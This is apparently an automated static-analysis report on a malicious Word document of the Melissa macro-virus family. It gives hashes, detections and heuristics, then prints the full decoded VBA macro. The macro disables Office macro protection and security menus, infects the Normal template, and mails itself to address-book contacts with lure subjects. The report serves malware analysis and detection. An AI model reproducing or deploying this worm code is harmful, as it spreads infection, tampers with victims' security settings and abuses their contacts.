Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 637a4f4b731be294…

MALICIOUS

Office (OLE)

65.5 KB Created: 2012-07-31 07:24:00 Authoring application: Microsoft Office Word First seen: 2016-06-09
MD5: aff6c362ad1cca07f6b2bc418bbc7ef8 SHA-1: a415983e9094bf2c5b78e2c7bd2df716998f4cff SHA-256: 637a4f4b731be294b91c3d26f288f97956991bce029dd43cf144f29aac3a7feb
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that attempt to disable macro security warnings and replicate themselves to the Normal template. This behavior, along with the ClamAV detection of 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Melissa-12', indicates a malicious document designed to spread or execute further payloads. The script directly manipulates registry keys related to Office security settings.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set UngaDasOutlook = CreateObject("Outlook.Application")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
        toinfect.CodeModule.addfromstring ("Private Sub Document_Open()" & vbCrLf & ADI1.CodeModule.Lines(2, ADI1.CodeModule.countoflines))

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5713 bytes
SHA-256: b38325cc886157b1e55efab7acfc6c70f7187dd508a771de9901d0f6baf553a6
Detection
ClamAV: Doc.Trojan.Melissa-12
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Empirical"
Attribute VB_Base = "1Normal.Empirical"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
  On Error Resume Next
  Call Empirical
End Sub
Private Sub Document_New()
  On Error Resume Next
  Call Empirical
End Sub
Private Sub AutoExec()
  On Error Resume Next
  Call Empirical
End Sub
Private Sub Empirical()
  'based on or guided by experience,
  'experiment or observation,
  'as distinct from theory.
  On Error Resume Next
  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
  Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
  End If
  CommandBars("Visual Basic").Enabled = False

  Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
  Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
  NTCL = NTI1.CodeModule.countoflines
  ADCL = ADI1.CodeModule.countoflines
  BGN = 2

  If ADI1.Name <> "Empirical" Or ADCL < 20 Then
    If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
    Set toinfect = ADI1
    ADI1.Name = "Empirical"
    DoAD = True
  End If

  If NTI1.Name <> "Empirical" Or NTCL < 20 Then
    If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
    Set toinfect = NTI1
    NTI1.Name = "Empirical"
    DoNT = True
  End If

  If DoNT <> True And DoAD <> True Then GoTo BYE

  If DoNT = True Then
    toinfect.CodeModule.addfromstring ("Private Sub Document_Open()" & vbCrLf & ADI1.CodeModule.Lines(2, ADI1.CodeModule.countoflines))
  End If

  If DoAD = True Then
    toinfect.CodeModule.addfromstring ("Private Sub Document_Close()" & vbCrLf & NTI1.CodeModule.Lines(2, NTI1.CodeModule.countoflines))
  End If

BYE:
  Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
  Set UngaDasOutlook = CreateObject("Outlook.Application")
  Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Profiles") <> "Empirical" Then
    If UngaDasOutlook = "Outlook" Then
      DasMapiName.Logon "profile", "password"
      For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
          Peep = AddyBook.AddressEntries(x)
          BreakUmOffASlice.Recipients.Add Peep
          x = x + 1
          If x > 50 Then oo = AddyBook.AddressEntries.Count
        Next oo
        s = Int(Rnd * 7)
        Select Case s
          Case 0
            BreakUmOffASlice.Subject = "Question for you..."
            BreakUmOffASlice.Body = "It's fairly complicated so I've attached it."
          Case 1
            BreakUmOffASlice.Subject = "Check this!!"
            BreakUmOffASlice.Body = "This is some wicked stuff!"
          Case 2
            BreakUmOffASlice.Subject = "Cool Web Sites"
            BreakUmOffASlice.Body = "Check out the Attached Document for a list of some of the best Sites on the Web"
          Case 3
            BreakUmOffASlice.Subject = "80mb Free Web Space!"
            BreakUmOffASlice.Body = "Check out the Attached Document for details on how to obtain the free space.  It's cool, I've now got heaps of room."
          Case 4
            BreakUmOffASlice.Subject = "Cheap Software"
            BreakUmOffASlice.Body = "The attached document contains a list of web sites where you can obtain Cheap Software"
          Case 5
            BreakUmOffASlice.Subject = " Cheap Hardware"
            BreakUmOffASlice.Body = " I've attached a list of web sites where you can obtain Cheap Hardware"
          Case 6
            BreakUmOffASlice.Subject = "Free Music"
            BreakUmOffASlice.Body = " Here is a list of places where you can obtain Free Music."
          Case 7
            s1 = Int(Rnd * 126) + 32
            BreakUmOffASlice.Subject = Chr$(s1) & " Free Downloads"
            BreakUmOffASlice.Body = " Here is a list of sites where you can obtain Free Downloads."
        End Select
        BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
        BreakUmOffASlice.send
        Peep = ""
      Next y
    DasMapiName.Logoff
    End If
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Profiles") = "Empirical"
  End If
  
  If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
  ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
    ActiveDocument.Saved = True
  End If
  If Minute(Now) = Hour(Now) Then Selection.TypeText " All empires fall, you just have to know where to push. ": ActiveDocument.SaveAs FileName:=ActiveDocument.FullName: ActiveDocument.Saved = True:  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Profiles") = ""
End Sub

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